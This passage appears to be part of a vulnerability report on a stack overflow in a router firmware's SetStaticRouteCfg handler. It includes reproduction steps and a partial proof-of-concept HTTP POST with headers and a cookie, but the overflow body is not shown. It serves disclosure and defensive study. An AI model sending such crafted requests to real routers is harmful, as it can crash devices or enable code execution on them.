

After that, a2 is assigned to v16, and then the matched content in v16 is directly formatted into the stack of v11, v10, v9 and s1 through the function sscanf through regular expression. There is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

4. Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1.Use the fat simulation firmware V15.03.05.19_multi
- 2.Attack with the following overflow POC attacks

```
POST /goform/SetStaticRouteCfg HTTP/1.1
```

Host: 192.168.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101

Firefox/91.0
Accept: */*

Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 1758

Origin: http://192.168.0.1

Connection: close

Referer: http://192.168.0.1/static_route.html?random=0.8948303619841387&

Cookie: password=0d403f6ad9aea37a98da9255140dbf6eodtcvb



This PoC can result in a Dos.